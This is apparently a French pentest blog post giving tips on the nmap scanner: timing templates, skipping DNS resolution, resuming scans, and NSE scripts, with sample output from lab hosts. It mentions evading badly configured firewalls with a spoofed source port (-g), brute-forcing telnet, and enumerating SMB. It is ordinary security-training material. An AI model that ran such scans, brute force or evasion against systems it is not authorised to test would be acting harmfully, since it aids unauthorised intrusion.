<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">pierz@hacktop:~$ sort -r -k3 /usr/local/share/nmap/nmap-services  | egrep -v '^#' | grep tcp  | head
http                80/tcp  0.484143        # World Wide Web HTTP
telnet              23/tcp  0.221265
https               443/tcp 0.208669        # secure http (SSL)
ftp                  21/tcp  0.197667        # File Transfer [Control]
ssh                  22/tcp  0.182286        # Secure Shell Login
smtp                25/tcp  0.131314        # Simple Mail Transfer
ms-term-serv    3389/tcp        0.083904        # Microsoft Remote Display Protocol
pop3               110/tcp 0.077142        # PostOffice V.3
microsoft-ds     445/tcp 0.056944        # SMB directly over IP
netbios-ssn      139/tcp 0.050809        # NETBIOS Session Service</pre></div></div>

<p><span style="text-decoration: underline;">Enlever la résolution des noms :</span></p>
<p>L&#8217;option <strong>-n permet d&#8217;éviter de faire des requêtes DNS PTR</strong>, on peut gagner beaucoup de temps si on effectue un simple ping sur une plage d&#8217;adresse d&#8217;ip, par exemple sur une plage /24 :</p>
<div class="wp_syntax">
<div class="code">
<pre class="text" style="font-family:monospace;">root@hacktop:~# nmap -sP 10.0.0.0/24

Starting Nmap 4.85BETA3 ( http://nmap.org ) at 2009-03-15 13:30 CET
Host 10.0.0.1 appears to be up.
Host 10.0.0.10 appears to be up.
MAC Address: 11:22:33:44:55:66 (VMware)
Host 10.0.0.13 appears to be up.
MAC Address: 11:22:33:44:55:67 (FakeComputer)
Nmap done: 256 IP addresses (3 hosts up) scanned in <span style="color:red">28.44 seconds</span></pre>
</div>
</div>
<div class="wp_syntax">
<div class="code">
<pre class="text" style="font-family:monospace;">root@hacktop:~# nmap -n -sP 10.0.0.0/24

Starting Nmap 4.85BETA3 ( http://nmap.org ) at 2009-03-15 13:33 CET
Host 10.0.0.1 appears to be up.
Host 10.0.0.10 appears to be up.
MAC Address: 11:22:33:44:55:66 (VMware)
Host 10.0.0.13 appears to be up.
MAC Address: 11:22:33:44:55:67 (Fake Computer)
Nmap done: 256 IP addresses (3 hosts up) scanned in <span style="color:red">2.44 seconds.</span></pre>
</div>
</div>
<p><span style="text-decoration: underline;">Attention à l&#8217;option &#8211; -host-timeout : </span></p>
<p>L&#8217;option <strong>- -host-timeout</strong>, cette option ne règle pas le timeout d&#8217;un paquet, mais <strong>le temps maximum à passer sur un hôte lors d&#8217;un scan</strong>.</p>
<p><span style="text-decoration: underline;">Régler finement le timeout :</span></p>
<p>Il est intéressant de <strong>régler le timeout de nmap, en particulier lors des scans effectués en -PN ou -P0</strong>. Il y a de nombreuses options pour régler finement tous ces paramètres, mais je ne vous conseille pas d&#8217;y toucher directement.</p>
<p>Je vous recommande plutôt de vous limiter à <strong>l&#8217;option -T</strong> . Elle permet de choisir un template parmi 5 qui règle l&#8217;ensemble des options concernant la vitesse du scan.</p>
<p>Par défaut nmap effectue un scan -T3, si on utilise ce template, les options suivantes seront réglées de cette façon :</p>
<ul>
<li style="list-style-type:disc;"> Le timeout d&#8217;un paquet est fixé entre 100ms et 10000ms. ( ce qui peut être long).</li>
<li style="list-style-type:disc;"> Les paquets qui timeouts sont renvoyés entre 1 et 10 fois.</li>
</ul>
<p>On peut utiliser un template &laquo;&nbsp;aggressive&nbsp;&raquo; <strong>-T4 pour des ips externes</strong> (<em>sauf si l&#8217;on travaille dans un endroit où l&#8217;on a une connexion pourrie</em>):</p>
<ul>
<li style="list-style-type:disc;"> Le timeout d&#8217;un paquet est fixé entre 500ms et 1250ms.</li>
<li style="list-style-type:disc;"> Les paquets sont rejoués entre 1 et 6 fois.</li>
</ul>
<p>Et on effectuera plutôt un scan <strong>-T5 sur un réseau local de bonne qualité</strong> ( pas du wifi foireux par exemple ) :</p>
<ul>
<li style="list-style-type:disc;"> Le timeout d&#8217;un paquet est fixé entre 50ms et 300ms.</li>
<li style="list-style-type:disc;"> Les paquets sont rejoués au maximum 2 fois.</li>
<li style="list-style-type:disc;"> On ne passe pas plus de 15 minutes sur un hôte.</li>
</ul>
<p><span style="text-decoration: underline;">Ne pas confondre scan agressif -A et template agressif (-T aggressive ou -T5) :</span></p>
<p>L&#8217;option scan agressif <strong>-A effectue de nombreuses opérations qui peuvent faire perdre du temps</strong>, en plus d&#8217;effectuer une détection d&#8217;OS (-O) et des services (-sV), elle lance un traceroute ainsi que des scripts d&#8217;attaque et des scans de failles (je reviendrai là-dessus plus tard). En plus de faire perdre du temps, ces scripts peuvent avoir des effets non désirés ou être trop intrusifs en fonction du contexte.</p>
<ul>
<li>
<h3><span style="text-decoration: underline;"><strong>Autres options intéressantes</strong></span><strong></strong></h3>
</li>
</ul>
<p>L&#8217;option <strong>&#8211;resume permet de reprendre un scan interrompu</strong> avec CTRL+C si ce dernier a été sauvegardé au format nmap -oN ou greppable -oG (ou encore -oA).</p>
<p>La seule option utile au niveau de l&#8217;IDS evasion est celle qui permet de <strong>définir le port source -g</strong>. On peut l&#8217;utiliser afin de contourner certains firewalls mal configurés, on utilisera le port 20 en scan TCP (FTP actif) ou le port 53 (DNS) lors d&#8217;un scan UDP -sU.</p>
<p>Il est possible d&#8217;effectuer des requêtes <strong>DNS PTR via l&#8217;option -sL</strong>. Cette option permet de faire de la reconnaissance en repérant des hôtes possibles sur une plage d&#8217;adresse ip, sans leur envoyer un seul paquet.</p>
<p>Un détail, si vous avez envie de comprendre pourquoi nmap a déterminé si un port était OPEN/FILTRED/CLOSE/&#8230; , vous pouvez ajouter l&#8217;option <strong>&#8211;reason</strong> .</p>
<ul>
<li>
<h3><span style="text-decoration: underline;"><strong>Les scripts</strong></span><strong></strong></h3>
</li>
</ul>
<p>Attention, les fonctionnalités suivantes sont intéressantes mais reste <strong>peu fiables</strong>. Mieux vaut utiliser des outils spécialisés dans la détection de faille (<a href="http://www.nessus.org/">nessus</a>) ou de bruteforce (<a href="http://freeworld.thc.org/thc-hydra/">hydra</a>) pour effectuer ce genre d&#8217;attaque.</p>
<p>Grâce aux scripts, nmap peut : récupérer plus d&#8217;informations relatives aux ports scannés, effectuer un scan de failles ou encore réaliser des attaques. On peut exécuter les <strong>scripts par défaut en utilisant l&#8217;option -sC</strong> (le scan agressif -A exécute également ces scripts).</p>
<p>Parmi ces attaques on a du bruteforce classique comme telnet, http basic, ftp&#8230; Ils peuvent également vérifier si clefs SSH sont vulnérables (debian-opensll ), lister les users,groups,&#8230; via SMB sur un windows (null sessions) , tenter un transfert de zone&#8230;, bref, plein de choses diverses et variées.</p>
<p>Les scripts sont stockés dans le dossier script du répertoire d&#8217;installation de nmap (/usr/local/share/nmap/script par défaut). Jeter un coup d&#8217;oeil <a href="http://nmap.org/book/nse-usage.html">sur le site</a> pour comprendre comment ça marche.</p>
<p>Voici un petit aperçu :</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">root@hacktop:/usr/local/share/nmap/scripts# nmap --top-ports 50 --script all localhost
&nbsp;
Starting Nmap 4.85BETA3 ( http://nmap.org ) at 2009-03-15 17:53 CET
Interesting ports on localhost (127.0.0.1):
Not shown: 47 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
|_ banner: SSH-2.0-OpenSSH_5.1p1 Debian-3ubuntu1\x0D\x0A
|  ssh-hostkey: 1024 be:ff:7f:5f:af:bb:bb:f8:4a:ed:3d:ca:af:01:d6:9a (DSA)
|_ 2048 d3:7b:77:12:57:11:d3:11:ac:fa:1c:80:a3:6f:44:f1 (RSA)
23/tcp open  telnet
|_ banner: \xFF\xFD\x18\xFF\xFD \xFF\xFD#\xFF\xFD'
|_ telnet-brute: telnet - telnet
80/tcp open  http
|_ html-title: Index of /</pre></div></div>


<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">root@hacktop:/usr/local/share/nmap/scripts# nmap  --script all 10.0.0.10,13
&nbsp;
Starting Nmap 4.85BETA3 ( http://nmap.org ) at 2009-03-15 18:09 CET
Interesting ports on 10.0.0.10:
Not shown: 984 closed ports
PORT     STATE SERVICE
53/tcp   open  domain
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  http-rpc-epmap
|_ banner: ncacn_http/1.0
636/tcp  open  ldapssl
1025/tcp open  NFS-or-IIS
1026/tcp open  LSA-or-nterm
1028/tcp open  unknown
|_ banner: ncacn_http/1.0
1040/tcp open  netsaint
1048/tcp open  unknown
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl
MAC Address: 11:22:33:44:55:66 (VMware)
&nbsp;
Host script results:
|_ nbstat: NetBIOS name: INDAHAX-DC, NetBIOS user: , NetBIOS MAC: 11:22:33:44:55:66
|  smb-os-discovery: Windows Server 2003 3790
|  LAN Manager: Windows Server 2003 5.2
|  Name: INDAHAX\INDAHAX-DC
|_ System time: 2009-03-15 18:09:58 UTC+1
|  smb-security-mode: User-level authentication
|  SMB Security: Challenge/response passwords supported
|_ SMB Security: Message signing required
&nbsp;
Interesting ports on 10.0.0.13:
Not shown: 996 closed ports
PORT    STATE SERVICE
135/tcp open  msrpc
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds
912/tcp open  unknown
|_ banner: 220 VMware Authentication Daemon Version 1.0, ServerDaemonPr...
MAC Address: 11:22:33:44:55:67 (Fake Computer)
&nbsp;
Host script results:
|_ sniffer-detect: Likely in promiscuous mode (tests: &quot;111___1_&quot;)
|  smb-security-mode: User-level authentication
|  SMB Security: Challenge/response passwords supported
|_ SMB Security: Message signing not supported
|  smb-os-discovery: Windows XP
|  LAN Manager: Windows 2000 LAN Manager
|  Name: WORKGROUP\PIERRE-WG
|_ System time: 2009-03-15 18:09:56 UTC+1
|_ nbstat: NetBIOS name: PIERRE-666, NetBIOS user: , NetBIOS MAC: 11:22:33:44:55:67
&nbsp;
Nmap done: 2 IP addresses (2 hosts up) scanned in 36.32 seconds</pre></div></div>

<p><span style="text-decoration: underline;">Références:</span></p>
<p>[1] <a href="http://nmap.org/man/fr/">man nmap</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.indahax.com/pentest/nmap-haxor/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
